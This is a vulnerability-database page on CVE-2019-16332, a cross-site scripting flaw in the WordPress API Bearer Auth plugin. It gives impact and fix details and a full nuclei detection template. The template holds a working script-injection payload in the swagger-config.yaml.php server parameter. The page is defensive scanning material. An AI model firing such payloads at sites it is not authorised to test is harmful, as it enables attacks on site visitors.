HexBrain

Browse / CVEs / CVE-2019-16332

CVE-2019-16332· api bearer auth project / api bearer auth· CWE-79

WordPress API Bearer Auth <20190907 - Cross-Site Scripting

mediumseverity
6.1CVSS score
5.7%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/api-bearer-auth/"
Send: GET {{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscr…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-16332 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-16332

info:
  name: WordPress API Bearer Auth <20190907 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability.
  reference:
    - https://plugins.trac.wordpress.org/changeset/2152730
    - https://wordpress.org/plugins/api-bearer-auth/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16332
    - https://packetstormsecurity.com/files/154369/WordPress-API-Bearer-Auth-20181229-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/9868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16332
    cwe-id: CWE-79
    epss-score: 0.05672
    epss-percentile: 0.9305
    cpe: cpe:2.3:a:api_bearer_auth_project:api_bearer_auth:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "api_bearer_auth_project"
    product: "api_bearer_auth"
    framework: wordpress
  tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,auth,api_bearer_auth_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/api-bearer-auth/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from